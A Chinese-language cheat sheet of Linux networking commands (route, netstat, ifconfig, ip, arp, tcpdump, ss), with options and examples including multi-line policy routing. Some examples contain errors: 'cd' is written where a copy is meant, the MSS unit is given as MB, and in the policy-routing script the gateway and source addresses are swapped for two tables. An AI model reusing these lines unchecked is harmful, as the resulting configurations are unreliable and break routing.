route命令添加路由,不会永久保存。当网卡重启或者机器重启之后,该路由就失效了。
在/etc/rc.local中添加route命令来保证该路由设置永久有效。
yum -y install net-tools
route [-nNvee] [-FC] [<AF>] List kernel routing tables
route [-v] [-FC] {add|del|flush} ... Modify routing table for AF.(Modify 修改)
-A 设置地址类型( 默认IPv4)
-C 打印linux核心的路由缓存
-v 详细信息模式
-n 不执行DNS反向查找,直接显示数字形式的ip地址
-e netstat格式显示路由表
-net 到一个网络的路由表
-host 到一个主机的路由表
Add 增加指定的路由记录
Del 删除指定的路由记录
Target 目的网络或目的主机
gw 设置默认网关
mss 设置TCP的最大区块长度(MSS),单位MB
window 指定通过路由表的TCP连接的TCP窗口大小
dev 路由记录所表示的网络接口
Example:
显示当前路由:
[root@linuxcool ~]$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default gateway 0.0.0.0 UG 100 0 0 ens192
192.168.60.0 0.0.0.0 255.255.255.0 U 100 0 0 ens192
其中Flags为路由标志,标记当前网络节点的状态,Flags标志说明:
U Up, 表示此路由当前为启动状态。
H Host,表示此网关为一主机。
G Gateway,表示此网关为一路由器。
R Reinstate Route,使用动态路由重新初始化的路由。
D Dynamically, 此路由是动态性地写入。
M Modified,此路由是由路由守护程序或导向器动态修改。
! 表示此路由当前为关闭状态。
添加|屏蔽|删除一条路由记录:
route add -net 192.168.60.0 netmask 255.255.255.0 dev ens192
route add -net 192.168.60.0 netmask 255.255.255.0 reject
route del -net 192.168.60.0 netmask 255.255.255.0 dev ens192
添加和删除默认网关:
route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.60.1
route add default gw 192.168.60.1
route del -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.60.1
route del default gw 192.168.60.1
添加和删除到主机路由
route add -host 192.168.4.2 dev eth0:1
route add -host 192.168.4.1 gw 192.168.4.250
route del -host 192.168.4.2 dev eth0:1
route del -host 192.168.4.1 gw 192.168.4.250
添加和删除到网络的路由
route add -net IP netmask MASK eth0
route add -net IP netmask MASK gw IP
route add -net IP/24 eth1
route del -net IP netmask MASK eth0
route del -net IP netmask MASK gw IP
route del -net IP/24 eth1
netstat
可以查看接口统计报告
yum -y install net-tools
netstat [-veenNcCF] [<Af>] -r
netstat {-V|--version|-h|--help}
netstat [-vnNcaeol] [<Socket> ...]
netstat { [-veenNac] -I[<Iface>] | [-veenNac] -i | [-cnNe] -M | -s } [delay]
-r, --route display routing table 显示路由表
-I, --interfaces=<Iface> display interface table for <Iface> 显示网络接口表
-i, --interfaces display interface table 显示网络接口表
-g, --groups display multicast group memberships 显示多播组成员
-s, --statistics display networking statistics (like SNMP) 显示网络统计数据,如IP/ICMP/SNMP/..各协议统计。
-M, --masquerade display masqueraded connections 显示伪装的连接
-v, --verbose be verbose 详细信息
-n, --numeric don't resolve names 不做名字解析,不加此参数,80端口会显示成http,127.0.0.1显示成localhost,uid为0显示成root等等
--numeric-hosts don't resolve host names 不做主机名解析
--numeric-ports don't resolve port names 不做端口名解析
--numeric-users don't resolve user names 不做用户名解析
-N, --symbolic resolve hardware names 解析硬件名称
-e, --extend display other/more information 显示更多信息,用户名,inode
-p, --programs display PID/Program name for sockets 显示pid和程序名字
-c, --continuous continuous listing 持续的列出相关信息
-l, --listening display listening server sockets 显示处于监听状态的套接字
-a, --all, --listening display all sockets (default: connected) 显示所有状态的套接字
-o, --timers display timers 显示计时器
-F, --fib display Forwarding Information Base (default) 使用-rF查看路由表时,显示转发信息
-C, --cache display routing cache instead of FIB 使用-rC查看路由表时,显示详细的路由缓存
-T, --notrim stop trimming long addresses 停止修剪长地址
-Z, --context display SELinux security context for sockets 显示套接字的SELINUX上下文
<Iface>: Name of interface to monitor/list.
<Socket>={-t|--tcp} {-u|--udp} {-S|--sctp} {-w|--raw} {-x|--unix} --ax25 --ipx --netrom
<AF>=Use '-A <af>' or '--<af>'; default: inet
List of possible address families (which support routing):
inet (DARPA Internet) inet6 (IPv6) ax25 (AMPR AX.25)
netrom (AMPR NET/ROM) ipx (Novell IPX) ddp (Appletalk DDP)
x25 (CCITT X.25)
Example:
netstat -antp 查看所有已经建立的连接
netstat -utpln 查看本地所有的tpc,udp监听端口
(t=tcp, u=udp, p=program, l=listen, n=numric)
netstat -anpte 查看tcp链接
netstat -anpue 查看udp链接
netstat -anpxe 查看unix套接字链接
netstat -r 查看路由表 默认输出netstat -rFd的结果 -F为默认参数
netstat -rC 查看路由缓存
netstat -s 查看网络统计信息,展示各协议的统计信息
netstat -i 查看网络接口信息
netstat -ant | grep EST | wc -l 统计服务器并发连接数
ifconfig
已过时,请使用ip
network interfaces configuring,用于配置和显示Linux内核中网络接口的网络参数。
永久配置, 修改网卡的配置文件
yum -y install net-tools
ifconfig [-v] [-a] [-s] [interface]
ifconfig [-v] interface [aftype] options | address ...
OPTIONS
-a 显示所有接口
-s 显示短列表 (like netstat -i)
-v 输出更详细的信息
interface 接口名称
up 激活接口
down 关闭接口
[-]arp 启用或禁用此接口上的arp协议
[-]promisc 启用或禁用接口的混杂模式
[-]allmulti 启用或禁用所有多播模式
mtu N 设置接口的最大传输单元(mtu)
netmask addr 设置接口子网掩码
tunnel ::aa.bb.cc.dd 创建一个新的SIT(IPv6-in-IPv4)设备,隧道到给定的目标
irq <IRQ地址> 设置网络设备的IRQ
io_addr <I/O地址> 设置网络设备的I/O地址
mem_start <内存地址> 设置网络设备在主内存所占用的起始地址
media <网络媒介类型> 设置网络设备的媒介类型
[-]broadcast [addr] 将要送往指定地址的数据包当成广播数据包来处理
[-]pointopoint [addr] 与指定地址的网络设备建立直接连线,此模式具有保密功能
address 要分配给此接口的IP地址
txqueuelen length 设置设备的传输队列的长度
FILES
/proc/net/dev
/proc/net/if_inet6
ifconfig eth0 up && ifconfig eth0 down ; ifdown eth0 && ifup eth0 重启网卡eth0
ifconfig eth0:0 10.0.0.100 netmask 255.255.255.0 添加网卡别名
Linux 单网卡配置多个IP地址(添加网卡别名), 永久配置需要手动创建配置文件
- 复制并重命名网卡配置文件ifcfg-eth0
cd /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/sysconfig/network-scripts/ifcfg-eth0:0
- 修改新网卡配置文件ifcfg-eth0:0
sed -i 's/eth0/eth0:0/' /etc/sysconfig/network-scripts/ifcfg-eth0:0
sed -i '/^DNS/d;/^GATE/d' /etc/sysconfig/network-scripts/ifcfg-eth0:0
sed -i '/^IPADDR=/c IPADDR=10.0.0.100' /etc/sysconfig/network-scripts/ifcfg-eth0:0
- 重启network.service服务生效
systemctl restart network.service
ip
用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道
ip [ OPTIONS ] OBJECT { COMMAND | help }
ip [ -force ] -batch filename
OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | tunnel
| tuntap | maddress | mroute | mrule | monitor | xfrm | netns | l2tp |
tcp_metrics | token | macsec }
OPTIONS := { -V[ersion] | -h[uman-readable] | -s[tatistics] | -d[etails] |
-r[esolve] | -iec | -f[amily] { inet | inet6 | ipx | dnet | link } | -4
| -6 | -I | -D | -B | -0 | -l[oops] { maximum-addr-flush-attempts } |
-o[neline] | -rc[vbuf] [size] | -t[imestamp] | -ts[hort] | -n[etns] name
| -a[ll] | -c[olor] }
OPTIONS
-h, -human 输出带有人类可读值的统计信息,后跟后缀
-b, -batch <FILENAME> 从提供的文件或标准输入中读取命令并调用它们
第一次故障将导致ip终止
-force 批处理模式下出错时不终止ip
-s, -stats, -s, -s 输出更多信息,可以复用
-d, -details 输出更详细的信息
-l, -loops <COUNT> 指定“ip地址刷新”逻辑在放弃之前将尝试的最大循环数。
默认值为10。零(0)表示循环,直到删除所有地址。
-f, -family <FAMILY> 指定要使用的协议族:inet、inet6、bridge、ipx、dnet、mpls或link
-4 same as -family inet.
-6 same as -family inet6.
-B same as -family bridge.
-D same as -family decnet.
-I same as -family ipx.
-M same as -family mpls.
-0 same as -family link.
-o, -oneline 在单行上输出每条记录,并用“\”字符替换换行符
-r, -resolve 显示主机时,不使用IP地址,而使用主机的域名
-n, -netns <NETNS> 将ip切换到指定的网络命名空间 NETNS 实际是简化:
ip netns exec NETNS ip [ OPTIONS ] OBJECT { COMMAND | help }
to
ip -n[etns] NETNS [ OPTIONS ] OBJECT { COMMAND | help }
-a, -all 对所有对象执行指定的命令
-c, -color 使用颜色输出
-t, -timestamp 使用监视器选项时显示当前时间
-ts, -tshort 短格式时间戳
-rc, -rcvbuf<SIZE> 设置netlink套接字接收缓冲区大小,默认为1MB
-iec 以IEC单位打印人类可读速率(e.g. 1Ki = 1024).
OBJECT
address - 设备上的协议(IP或IPv6)地址.
addrlabel - 协议地址选择的标签配置
l2tp - IP上的隧道以太网(L2TPv3).
link - network device.
maddress - 多播地址
monitor - 查看 netlink 消息
mroute - 多播路由缓存项
mrule - 多播路由策略数据库中的规则
neighbour - 管理ARP或NDISC缓存项
netns - 管理网络命名空间
ntable - 管理邻居缓存的操作
route - 路由表条目
rule - 路由策略数据库中的规则
tcp_metrics/tcpmetrics
- 管理TCP指标
token - 管理标记化的接口标识符
tunnel - IP隧道
tuntap - 管理TUN/TAP设备
xfrm - 管理IPSec策略
退出状态
如果命令成功,则退出状态为0;
如果存在语法错误,则退出状态为1。
如果内核出口报告了错误,则退出状态为2。
EXAMPLES
ip addr 显示分配给所有网络接口的地址
ip neigh 显示内核中的当前邻居表
ip link set x up 打开 interface x.
ip link set x down 关闭 interface x.
ip route 显示表路由
SEE ALSO
ip-address(8), ip-addrlabel(8), ip-l2tp(8), ip-link(8), ip-maddress(8),
ip-monitor(8), ip-mroute(8), ip-neighbour(8), ip-netns(8), ip-ntable(8),
ip-route(8), ip-rule(8), ip-tcp_metrics(8), ip-token(8), ip-tunnel(8),
ip-xfrm(8)
缩写:
route、r
show、、sh、s、list、lst、ls、l
add、a
change、chg、c
replace、repl、r
delete、del、d
flush、f
table、t
get、g
neighbour、neighbor、neigh、n
ip link add [ link DEVICE ] [ name ] NAME
ip link delete { DEVICE | group GROUP } type TYPE [ ARGS ]
ip link set { DEVICE | group GROUP }
[ { up | down } ]
ip link show [ DEVICE | group GROUP ] [ up ] [ master DEVICE ] [ type ETYPE ]
[ vrf NAME ]
EXAMPLES:
ip link show ; ip l 显示系统上所有网络接口的状态。
ip -s -s link ls eth0 same as ifconfig eth0
ip link show type vlan Shows the vlan devices.
ip link add link eth0 name eth0.10 type vlan id 10
在设备eth0上创建新的vlan设备eth0.10。
ip link delete dev eth0.10 Removes vlan device.
ip link s dev eth0 xdp off 关闭设备eth0的XDP
ip link s eth0 down && ip link s eth0 up && dmesg 重启网卡eth0 并查看日志
ip link set dev eth0 txqueuelen 100 修改设备传输队列的长度
ip link set dev eth0 mtu 1500 修改网络设备MTU(最大传输单元)
ip link set dev eth0 address 00:01:4f:00:15:f1 修改网络设备的MAC地址
ip address { add | change | replace } IFADDR dev IFNAME [ LIFETIME ] [ CONFFLAGLIST ]
ip address del IFADDR dev IFNAME
ip address { save | flush } [ dev IFNAME ] [ scope SCOPE-ID ] [ to PREFIX ]
[ FLAG-LIST ] [ label PATTERN ] [ up ]
ip address [ show [ dev IFNAME ] [ scope SCOPE-ID ] [ to PREFIX ] [ FLAG-LIST ]
[ label PATTERN ] [ master DEVICE ] [ type TYPE ] [ vrf NAME ] [ up ] ]
IFADDR := PREFIX | ADDR peer PREFIX [ broadcast ADDR ] [ anycast ADDR ]
[ label LABEL ] [ scope SCOPE-ID ]
SCOPE-ID := [ host | link | global ]
FLAG-LIST := [ FLAG-LIST ] FLAG
FLAG := [ permanent | dynamic | secondary | primary | [-]tentative | [-]depre‐
cated | [-]dadfailed | temporary ]
LIFETIME := [ valid_lft LFT ] [ preferred_lft LFT ]
LFT := [ forever | SECONDS ]
TYPE := [ bridge | bridge_slave | bond | bond_slave | can | dummy | hsr | ifb |
ipoib | macvlan | macvtap | vcan | veth | vlan | vxlan | ip6tnl | ipip |
sit | gre | gretap | ip6gre | ip6gretap | vti | vrf | nlmon | ipvlan |
lowpan | geneve | macsec ]
dev IFNAME 要添加地址的设备的名称
broadcast ADDRESS 接口上的广播地址
label LABEL 网卡别名
scope SCOPE_VALUE 此地址有效的区域范围。配置文件 /etc/iproute2/rt_scopes.
global - 地址是全局有效的。
link - 仅在这个设备上有效。
host - 仅在此主机内有效.
EXAMPLES:
ip address 显示分配给所有网络接口的IPv4和IPv6地址
ip addr show up 只显示分配给活动网络接口的地址
ip addr ls eth0 ; ip address show dev eth0 显示分配给网络接口eth0的IPv4和IPv6地址
将IPv6地址添加到网络接口eth1
ip address add 2001:0db8:85a3::0370:7334/64 dev eth1
删除上面添加的IPv6地址
ip address delete 2001:0db8:85a3::0370:7334/64 dev eth1
从设备eth4中删除全局的IPv4和IPv6地址
ip address flush dev eth4 scope global
使用网卡别名对虚拟主机将多个IP地址绑定到一个网卡上:
为每个地址设置一个字符串作为标签。
为了和Linux-2.0的网络别名兼容,这个字符串必须以设备名开头,接一个冒号,下面三条命令等价:
ifconfig eth0:0 192.168.4.1/28
ip addr add local 192.168.4.1/28 brd + label eth0:0 dev eth0
ip addr add 192.168.4.1/28 dev eth0 label eth0:0
ip addr del 192.168.4.1/28 dev eth0 label eth0:0 删除别名
ip addr flush dev eth0 label eth0:0 清空别名
ip -4 addr flush label eth0 清空eth0网卡上所有IPv4地址
ip a f to 10/8 清空属于10.0.0.0/8的所有地址
ip route { show | flush } SELECTOR
ip route { add | del | change | append | replace } NODE_SPEC
SELECTOR := [ root PREFIX ] [ match PREFIX ] [ exact PREFIX ] [ table TABLE_ID ]
[ vrf NAME ] [ proto RTPROTO ] [ scope SCOPE ]
NODE_SPEC := [ TYPE ] PREFIX [ tos TOS ] [ table TABLE_ID ] [ proto RTPROTO ]
[ scope SCOPE ] [ metric METRIC ]
TYPE := [ unicast | local | broadcast | multicast | throw | unreachable | prohibit | blackhole | nat ]
TABLE_ID := [ local| main | default | all | NUMBER ]
SCOPE := [ host | link | global ]
RTPROTO := [ kernel | boot | static | NUMBER ]
kernel 2 该路由是由内核安装的
boot 3 该路由是在系统启动时安装的
static 4 该路由是由管理员安装的
配置文件: /etc/sysconfig/network-scripts/route-ethX
从Linux-2.2开始,内核把路由归纳到许多路由表中,这些表都进行了编号,编号数字的范围是1到255。
可以在路由表配置文件:/etc/iproute2/rt_tables 中为路由表命名。
默认情况下,所有的路由都会被插入到表main(编号254)中。在进行路由查询时,内核只使用路由表main。
ip route show list routes
ip route add add new route
ip route change change route
ip route replace change or add new one
ip route delete delete route
ip route flush flush routing tables
ip route get get a single route
Example:
ip route show 显示路由
ip route add default via GW dev IFACE 添加网关
ip route add TARGET via GW dev IFACE src SOURCE_IP 添加路由
ip route change TARGET 修改路由
ip route replace TARGET 修改路由,不存在创建
ip route del TARGET 删除路由
ip route flush [dev IFACE] [via PREFIX] 清空路由表
TARGET:
主机路由:IP
网络路由:NETWORK/MASK
ip route add default via 172.16.0.1 ; route add default gw 172.16.0.1
ip route add 192.168.1.13 via 172.16.0.1 ; route add -host 192.168.1.13 gw 172.16.0.1
ip route add 192.168.0.0/24 via 172.16.0.1 ; route add -net 192.168.0.0/24 gw 172.16.0.1
ip route chg 192.168.0.0/24 via 172.16.0.2
ip route r 192.168.0.0/24 via 172.16.0.2
ip route flush dev eth0
设置NAT路由: 在转发来自192.203.80.144的数据包之前,先进行网络地址转换,把这个地址转换为193.233.7.83
ip route add nat 192.203.80.142 via 193.233.7.83
实现链路负载平衡.加入缺省多路径路由,让ppp0和ppp1分担负载(注意:scope值并非必需,它只不过是告诉内核,这个路由要经过网关而不是直连的。实际上,如果你知道远程端点的地址,使用via参数来设置就更好了)。
ip route add default scope global nexthop dev ppp0 nexthop dev ppp1
ip route replace default scope global nexthop dev ppp0 nexthop dev ppp1
删除多路径路由
ip route del default scope global nexthop dev ppp0 nexthop dev ppp1
实现数据包级负载平衡,允许把数据包随机从多个路由发出。weight可以设置权重.
ip route replace default equalize nexthop via 211.139.218.145 dev eth0
weight 1 nexthop via 211.139.218.145 dev eth1 weight 1
ip route ls proto gated/bgp|wc -l 计算使用gated/bgp协议的路由个数
ip -o route ls cloned|wc -l 计算路由缓存里面的条数,由于被缓存路由的属性可能大于一行,以此需要使用-o选项
列出某个路由表(路由表ID或者是/etc/iproute2/rt_tables文件定义的字符串)的内容
ip ro ls table wangtong
ip ro ; ip ro ls ; route 列出默认路由表(table main)的内容
ip ro ls table all 列出所有表的路由
ip ro ls 193.233.7.82 tab cache 列出路由缓存的内容
ip route flush cache 清除所有路由cache
ip -6 ro flush cache 清除所有IPv6路由cache
ip -4 ro flush scope global type unicast 清除路由表main中的所有单播路由
ip -s ro f proto gated/bgp 在gated程序挂掉之后,清除所有的BGP路由
ip route get — 获得单个路由
使用这个命令可以获得到达目的地址的一个路由以及它的确切内容。
ip route show命令只是显示现有的路由,而ip route get命令在必要时会派生出新的路由。
ip route get 192.168.50.4 搜索到192.168.50.4的路由
搜索目的地址是193.233.7.82,来自193.233.7.82,从eth0设备到达的路由(这条命令会产生一条非常有意思的路由,这是一条到193.233.7.82的回环路由)
$ ip r g 193.233.7.82 from 193.233.7.82 iif eth0
193.233.7.82 from 193.233.7.82 dev eth0 src 193.233.7.65 realms
inr.ac/inr.ac
cache
多线路策略路由设置
1、配置虚拟网卡/etc/sysconfig/network-scripts/
#注意移动和联通不需要配置网关,默认路由默认为电信网关,也可根据实际情况更改
电信:eth1 ip:1.1.1.2 gw:1.1.1.1
移动:eth1:1 ip:2.2.2.2 gw:2.2.2.1
联通:eth1:2 ip:3.3.3.2 gw:3.3.3.1
2、编辑rt_tables
#定义三个表,表明自定义
#252 dx
#251 lt
#250 yd
echo -e "252 dx\n251 lt\n250 yd" >> /etc/iproute2/rt_tables
3、编辑/etc/rc.d/rc.local,将如下内容加入开机自启动
#清空dx路由表
ip route flush table dx
ip route flush table lt
ip route flush table yd
ip route flush cache
# 添加一个路由规则到 dx 表,所有数据包默认使用源 IP 1.1.1.2 通过 eth1 走网关 1.1.1.1
ip route add default via 1.1.1.1 dev eth1 src 1.1.1.2 dx
#来自 1.1.1.2 的数据包,使用 dx 路由表的路由规则
ip rule add from 1.1.1.2 table dx
#解释同上
ip route add default via 2.2.2.2 dev eth1 src 2.2.2.1 lt
ip rule add from 2.2.2.2 table lt
#解释同上
ip route add default via 3.3.3.2 dev eth1 src 3.3.3.1 yd
ip rule add from 3.3.3.2 table yd
ip rule [ list | add | del | flush ] SELECTOR ACTION
SELECTOR := [ from PREFIX ] [ to PREFIX ] [ tos TOS ] [ fwmark FWMARK[/MASK] ]
[ iif STRING ] [ oif STRING ] [ pref NUMBER ]
ACTION := [ table TABLE_ID ] [ nat ADDRESS ] [ prohibit | reject | unreachable ]
[ realms [SRCREALM/]DSTREALM ]
TABLE_ID := [ local | main | default | NUMBER ]
unicast -- 在该规则指向的路由表中进行标准的路由查找。当一个路由表被指定,这是默认的动作。
blackhole -- 规则动作将仅仅直接丢弃该数据报。
unreachable -- 规则动作产生一条网络不可达错误信息,一个类型为3,代码为0的ICMP消息被返回给发送者。
prohibit -- 规则动作产生一个通信被禁止的错误消息,一个类型为3,代码为13的ICMP消息被返回给发送者。
配置文件: /etc/sysconfig/network-scripts/rule-ethX
Example:
$ ip ru ls
0: from all lookup local
32766: from all lookup main
32767: from all lookup default
第一列:冒号之前的数字,表示该路由表被匹配的优先顺序,数字越小,越早被匹配。范围是0~32767。默认0、32766、32767三个优先级别已被占用。如果在添加规则时没有定义优先级别,那么默认的优先级别会从32766开始递减,可以通过prio ID参数在设置路由表时添加优先级。
第二列:from,这里显示的是匹配规则,当前表示的是从哪里来的数据包,还有:
From -- 源地址
To -- 目的地址(这里是选择规则时使用,查找路由表时也使用)
Tos -- IP包头的TOS(type of sevice)域
Dev -- 物理接口
Fwmark -- 防火墙参数
第三段:loacl/main/default 这些都是路由表名称,表示数据包要从那个路由表送出去。local表包含本机路由及广播信息,main表就是我们route -n看到的内容,default表,默认为空。
在添加规则时,需要先定义好优先级、条件及路由表ID,然后才可以添加规则。
#根据源地址决定路由表
ip rule add from 192.168.10.0/24 table 100
ip rule add from 192.168.20.20 table 110
#根据目的地址决定路由表
ip rule add to 192.168.30.0/24 table 120
ip rule add to 192.168.40.0/24 table 130
#根据网卡设备决定路由表
ip rule add dev eth0 table 140
ip rule add dev eth1 table 150
#此外还可以根据其他条件进行设置,例如tos等等
#增加一条规则,规则匹配的对象是所有的数据包,动作是选用路由表1的路由,这条规则的优先级是32800
ip rule add [from 0/0] table 1 pref 32800
#增加一条规则,规则匹配的对象是IP为192.168.3.112, tos等于0x10的包,使用路由表2,这条规则的优先级是1500,动作是丢弃。
ip rule add from 192.168.3.112/32 [tos 0x10] table 2 pref 1500 prohibit
#增加一条规则,规则匹配的对象是fwmark 标记3的数据包,使用路由表2
ip rule add fwmark 3 table 3
#需要使用iptables给相应的数据打上标记3
iptables -A PREROUTING -t mangle -i eth0 -s 192.168.0.1 -192.168.0.100 -j MARK --set-mark 3
ip rule del from 192.168.10.10 # 根据明细条目删除
ip rule del prio 32765 # 根据优先级删除
ip rule del table wangtong # 根据表名称来删除
添加规则后才能确定新的路由表的ID,有了新的路由表ID后,才能在该路由表中添加路由
ip route add 192.168.0.0/24 dev eth0 table 1
ip route add default via 172.16.0.1 table 1
通过路由表inr.ruhep路由来自源地址为192.203.80/24的数据包
ip ru add from 192.203.80/24 table inr.ruhep prio 220
把源地址为193.233.7.83的数据报的源地址转换为192.203.80.144,并通过表1进行路由
ip ru add from 193.233.7.83 nat 192.203.80.144 table 1 prio 320
删除无用的缺省规则
ip ru del prio 32767
ip neighbour neighbour/arp表管理命令
ip neighbour add 添加一个新的邻接条目
ip neighbour change 修改一个现有的条目
ip neighbour replace 替换一个已有的条目
ip neighbour show 显示网络邻居的信息
ip neighbour delete 删除一个邻接条目
ip neighbour flush 清除邻接条目
Example:
在设备eth0上,为地址10.0.0.3添加一个permanent ARP条目:
ip neigh add 10.0.0.3 lladdr 0:0:0:0:0:1 dev eth0 nud perm
ip neigh chg 10.0.0.3 dev eth0 nud reachable 把状态改为reachable
ip -s n ls 10.0.0.1 显示网络邻居的信息
ip neigh del 10.0.0.3 dev eth0 删除设备eth0上的一个ARP条目10.0.0.3
ip -s -s n f 10.0.0.1 清除邻接条目
ip maddress — 多播地址管理
Example:
添加/删除在网络接口上监听的链路层多播地址。只能管理链路层地址
ip maddr add 33:33:00:00:00:01 dev dummy 增加多播地址
ip maddr ls dummy 列出多播地址
ip maddr del 33:33:00:00:00:01 dev dummy 删除多播地址
ip mroute — 多播路由缓存管理
Example:
ip mroute show 列出多播路由缓存条目
ip tunnel — 通道配置
ip tunnel add — 添加新的通道
ip tunnel change — 修改现有的通道
ip tunnel delete — 删除一个通道
ip tunnel show — 列出现有的通道
Example:
建立一个点对点通道,最大TTL是32, 然后列出
ip tunnel add Cisco mode sit remote 192.31.7.104 local 192.203.80.1 ttl 32
ip -s tunl ls Cisco
ip monitor和rtmon — 状态监视
ip命令可以用于连续地监视设备、地址和路由的状态。
这个命令选项的格式有点不同,命令选项的名字叫做monitor,接着是操作对象:
ip monitor [ file FILE ] [ all | OBJECT-LIST ]
Example:
rtmon file /var/log/rtmon.log
ip monitor file /var/log/rtmon.log r
arp
ARP管理
arp 查看ARP缓存
arp -s IP MAC 添加
arp -d IP 删除
tcpdump
tcpdump命令是一款网络协议分析工具,是linux上的抓包工具,嗅探器;它可以打印出所有经过网络接口的数据包的头信息。
tcpdump命令工作时先要把网卡的工作模式切换到混杂模式。所以tcpdump命令需要以root身份运行。
yum -y install tcpdump
tcpdump [参数]
-a 尝试将网络和广播地址转换成名称
-c<数据包数目> 收到指定的数据包数目后,就停止进行倾倒操作
-d 把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出
-dd 把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出
-ddd 把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出
-e 在每列倾倒资料上显示连接层级的文件头
-f 用数字显示网际网络地址
-F<表达文件> 指定内含表达方式的文件
-i<网络界面> 使用指定的网络截面送出数据包
-l 使用标准输出列的缓冲区
-n 不把主机地址解析成主机名
-nn 不把主机地址解析成主机名,也不把端口号解析成服务名
-N 不列出域名
-O 不将数据包编码最佳化
-p 不让网络界面进入混杂模式
-q 快速输出,仅列出少数的传输协议信息
-r<数据包文件> 从指定的文件读取数据包数据
-s<数据包大小> 设置每个数据包的大小
-S 用绝对而非相对数值列出TCP关联数
-t 在每列倾倒资料上不显示时间戳记
-tt 在每列倾倒资料上显示未经格式化的时间戳记
-T<数据包类型> 强制将表达方式所指定的数据包转译成设置的数据包类型
-v 详细显示指令执行过程
-vv 更详细显示指令执行过程
-x 用十六进制字码列出数据包资料
-w<数据包文件> 把数据包数据写入指定的文件
Example:
tcpdump 监视第一个网络接口上所有流过的数据包
tcpdump -i eth1 监视指定网络接口的数据包
tcpdump -nnvvi eth1 监视指定网络接口的数据包,直接显示主机地址和端口号,更详细信息
tcpdump host linuxcool 监视指定主机收到的和发出的所有的数据包
tcpdump host 210.27.48.1 监视指定主机IP收到的和发出的所有的数据包
tcpdump -i eth0 src host hostname 截获主机hostname发送的所有数据
tcpdump -i eth0 dst host hostname 监视所有送到主机hostname的数据包
tcpdump tcp port 23 host 210.27.48.1 监视主机210.27.48.1接收或发出的telnet包(tcp 23)
tcpdump udp port 123 监视本机的ntp的服务(udp 123)
tcpdump -i any port 80 -A 抓取80端口的HTTP报文,以文本形式展示
tcpdump 'gateway snup and (port ftp or ftp-data)' 打印所有通过网关snup的ftp数据包
tcpdump ip and not net localnet 打印所有源地址或目标地址是本地主机的IP数据包
截获主机192.168.10.10 和主机192.168.10.20 或192.168.10.30的通信:
截获主机helios 和主机hot 或ace的通信:
tcpdump host 192.168.10.10 and \ (192.168.10.20 or 192.168.10.30 \)
tcpdump host helios and \( hot or ace \)
打印ace与任何其他主机之间通信的IP数据包, 但不包括与helios之间的数据包.
tcpdump ip host ace and not helios
如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包:
tcpdump ip host 210.27.48.1 and ! 210.27.48.2
tcpdump net ucb-ether 打印本地主机与Berkeley网络上的主机之间的所有通信数据包
ucb-ether此处可理解为“Berkeley网络”的网络地址,此表达式最原始的含义可表达为:打印网络地址为ucb-ether的所有数据包
ss
Socket 套接字 就是对网络中不同主机上的应用进程之间进行双向通信的端点的抽象,它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定,一台计算机可以接收其他计算机的数据,也可以向其他计算机发送数据。
netstat通过遍历proc来获取socket信息,ss使用netlink与内核tcp_diag模块通信获取 socket信息
当服务器的socket连接数量变得非常大时,无论是使用netstat命令还是直接cat /proc/net/tcp,
执行速度都会很慢,ss比netstat更快速更高效。
ss [ OPTIONS ] [ FILTER ]
-V, --version output version information
-a, --all display all sockets
-l, --listening display listening sockets
-t, --tcp display only TCP sockets
-u, --udp display only UDP sockets
-m, --memory show socket memory usage
-p, --processes show process using socket
-n, --numeric don't resolve service names
-r, --resolve resolve host names resolve 解析
-s, --summary show socket usage summary 使用情况摘要
-o, --options show timer information 显示定时器信息
-e, --extended show detailed socket information
-i, --info show internal TCP information
-4, --ipv4 display only IP version 4 sockets
-6, --ipv6 display only IP version 6 sockets
-0, --packet display PACKET sockets
-d, --dccp display only DCCP sockets
-w, --raw display only RAW sockets
-x, --unix display only Unix domain sockets
-f, --family=FAMILY display sockets of type FAMILY
FAMILY := {inet|inet6|link|unix|netlink|vsock|help}
-A, --query=QUERY, --socket=QUERY
QUERY := {all|inet|tcp|udp|raw|unix|packet|netlink}[,QUERY]
-D, --diag=FILE Dump raw information about TCP sockets to FILE
-F, --filter=FILE read filter information from FILE
FILTER := [ state TCP-STATE ] [ EXPRESSION ]
STATE-FILTER := {all|connected|synchronized|bucket|big|TCP-STATES}
state状态:TCP-STATES := {established|syn-sent|syn-recv|fin-wait-{1,2}|time-wait|closed|close-wait|last-ack|listen|closing}
connected := {established|syn-sent|syn-recv|fin-wait-{1,2}|time-wait|close-wait|last-ack|closing}
synchronized := {established|syn-recv|fin-wait-{1,2}|time-wait|close-wait|last-ack|closing}
bucket := {syn-recv|time-wait}
big := {established|syn-sent|fin-wait-{1,2}|closed|close-wait|last-ack|listen|closing}
Example:
ss -tupln | grep :22 查看端口占用
ss -l 显示本地打开的所有端口
ss -pl 显示每个进程具体打开的socket
ss -t -a 显示所有tcp socket
ss -u -a 显示所有的UDP Socekt
ss -s 列出当前socket详细信息
ss -o state established | wc -l 统计服务器并发连接数
ss -o state established '( dport = :smtp or sport = :smtp )' 显示所有已建立的SMTP连接
ss -o state established '( dport = :http or sport = :http )' 显示所有已建立的HTTP连接
ss -o state fin-wait-1 '( sport = :http or sport = :https )' 显示处在FIN-WAIT-1状态的http、https连接
ss -x src /tmp/.X11-unix/* 显示所有本地连接到x server的进程
src表示来源
ss src 192.168.200.202 匹配本地地址和端口号,IP筛选
ss dport/sport OP PORT 端口筛选
dport 目的端口:我访问外部
sport 来源端口:外部访问我
PORT 端口
OP 运算符:
\<= or le : 小于等于
\>= or ge : 大于等于
= or eq : 等于
!= or ne : 不等于端口
\< or lt : 小于这个端口
\> or gt : 大于端口
例:ss sport = :http
or
ss sport = :80
ss dport \> :20000 显示所有大于20000的目的端口
ss sport \> :20000 显示所有大于20000的目的端口
ss dport \< :20000 显示所有小于20000的来源端口
ss sport \< :20000 显示所有小于20000的来源端口
ss state connected sport = :22 显示等于22的来源端口
ss \( sport = :22 or sport = :21111 \) 显示等于22和21111的来源端口
ss -o state fin-wait-1 \( sport = :http or sport = :https \) dst 192.168.1/24
显示处在FIN-WAIT-1状态且是192.168.1/24网段IP的http、https连接
nc
